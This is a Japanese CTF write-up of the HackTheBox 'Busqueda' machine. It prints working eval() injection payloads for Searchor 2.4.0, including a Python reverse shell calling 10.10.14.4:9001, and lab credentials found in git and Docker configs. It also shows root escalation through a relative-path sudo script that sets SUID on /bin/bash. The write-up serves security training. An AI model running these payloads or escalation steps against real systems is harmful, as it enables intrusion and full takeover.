【HackTheBox】Busqueda Writeup
Recon
nmap
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Website
こんな感じのサイトがありました。
サーチエンジンとクエリを指定すると検索のURLが返ってきます。
footerにPowered by Flask and Searchor 2.4.0
が書いてありました。調べてみたらSearchorはオープンソースのPythonライブラリーでした(https://github.com/ArjunSharda/Searchor )。
exploitも調べてみたらeval()
によるarbitrary code executionができるみたいです(https://security.snyk.io/vuln/SNYK-PYTHON-SEARCHOR-3166303 )。
そのバグを修正したcommitはこちらです。queryのところにコードをinjectする感じですね。
Seachor Command Injection
eval()の挙動を確認してみる
まずはpythonのeval()
関数の動きを検証します。
カンマでコードを繋げると実行できます。
>>> payload = f"print('aaa'),print('bbb'),print('ccc')"
>>> eval(payload)
aaa
bbb
ccc
(None, None, None)
実行したくないところはコメントアウトできます。
>>> payload = f"print('aaa'),print('bbb') #,print('ccc')"
>>> eval(payload)
aaa
bbb
(None, None)
payloadを作っていく
eval(f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})")
payloadが'),print('test') #comment
の時、実行されるコードがこんな感じになるはずです。
eval(f"Engine.{engine}.search(''),print('test') #comment', copy_url={copy}, open_web={open})")
# コメントアウトの部分は無視されるので、実際実行されるのはこれ↓
# eval(f"Engine.{engine}.search(''),print('test')")
burpでpayloadを送ってみると想定通りの結果が返ってきました。これでRCEの確認ができました。
意外とurl encodingとかしなくてもいけました。
違うpayloadも送ってみます。これでlistenerに届きました。
'),__import__('os').system('nc 10.10.14.4 9001') #comment
※eval()
はexpressionしか実行できないので、import os
みたいなstatementは書けません
payloadを変えてrev shellを取りたいと思います。
__import__('os').system()
の中にいくつかのpayloadを入れて試しましたが、うまく行かなかったです。このウェブサイトはpythonで書かれているので、pythonのpayloadを試したいと思います。
いつも使ってるreverse shell generator(https://www.revshells.com/ )のpython payloadはexpressionになっていないので、exec()
関数に入れて実行します。
'),exec('import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")') #comment
これでrev shellが取れました。
Shell as SVC
user flagゲットです。
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.4] from (UNKNOWN) [10.10.11.208] 41022
svc@busqueda:/var/www/app$ id
uid=1000(svc) gid=1000(svc) groups=1000(svc)
svc@busqueda:/var/www/app$ cat /home/svc/user.txt
Recon
svcのディレクトリーに.gitconfig
がありました。
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
git repoを探してみます。2つ見つけました。
svc@busqueda:~$ find / -type d -name ".git" 2>/dev/null
/var/www/app/.git
/opt/scripts/.git
/opt/scripts/
は権限がなくて見れませんでした。中のスクリプトが気になります。
svc@busqueda:/opt/scripts$ ls -la
drwxr-xr-x 3 root root 4096 Dec 24 2022 .
drwxr-xr-x 4 root root 4096 Mar 1 10:46 ..
-rwx--x--x 1 root root 586 Dec 24 2022 check-ports.py
-rwx--x--x 1 root root 857 Dec 24 2022 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr 3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24 2022 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 2022 system-checkup.py
/var/www/app/.git
の中のconfigをみてみたら、giteaのcredentailsがありました。gitea.searcher.htb
というサブドメインも発見しました。
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
/etc/hosts
も見てみます。やはり同じサブドメインがありました。
127.0.0.1 localhost
127.0.1.1 busqueda searcher.htb gitea.searcher.htb
ではgitea.searcher.htb
を/etc/hosts
に入れてアクセス、ログインしてみます。
giteaにはadministratorというもう一人のユーザーがいます。これ以上の情報が特になかったです。
password reuseをチェックしたら、jh1usoih2bkjaspwe92
はsvcのパスワードだとわかりました。ではsudo -l
をみてみます。
svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc: jh1usoih2bkjaspwe92
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
/usr/bin/python3 /opt/scripts/system-checkup.py *
で権限昇格するでしょう。
Sudo Exploit
コマンドを実行すると、descriptionが出てきました。できるアクションは3種類あります。一つずつ確認していきます。
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
docker-ps
はコンテナの情報を出しているだけです。
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 7 months ago Up 5 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 7 months ago Up 5 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
docker-inspect
でgiteaのコンテナをみてみたら、環境変数にcredentailsがありました。credentailsの使い道があるかもしれませんが、いったんsystem-checkup.pyの機能を全部確認したいと思います。
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e | jq
{
[...snip...]
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
],
}
full-checkup
がなぜかエラーになります。
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
/opt/scripts
にfull-checkup.sh
というファイルがあったので、そのディレクトリーに移動してコマンドを実行してみます。
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[...snip...]
問題なく実行できました。
full-checkup.sh
があるディレクトリーでしか実行できないっぽいです。これはソースコードの中で相対パスが使われているかもしれないですね。
svcのディレクトリーにfull-checkup.sh
を作って、そこでコマンドを実行してみます。
#!/bin/bash
id
実行してみるとid
が出力されました。
svc@busqueda:~$ chmod +x full-checkup.sh
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
uid=0(root) gid=0(root) groups=0(root)
[+] Done!
ではbashにSUIDをつけます。
#!/bin/bash
chmod +s /bin/bash
Shell as Root
svc@busqueda:~$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:~$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /bin/bash
svc@busqueda:~$ bash -p
bash-5.1# cat /root/root.txt
root flagが取れました!
full-checkup.sh Source Code
rootでsystem-checkup.py
の中身を見てみました。やはり相対パスが問題でした。
[...snip...]
def process_action(action):
[...snip...]
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
Memo
command injectionのpayloadを作るところが面白かったです。
easy boxの中でもかなりシンプルな方だったかな、、?
Gitea Login as Administrator
結局最後までdocker-inspect
で出てきたcredentialsを使いませんでしたが、
IppSecさんの動画から、それがadministratorのgiteaログイン情報だったことがわかりましたのでメモします。
administrator:yuiu1hoiu4i5ho1uh
でログインするとscripts
のrepoが見れます。ここから相対パスでexploitできることがわかります。
Discussion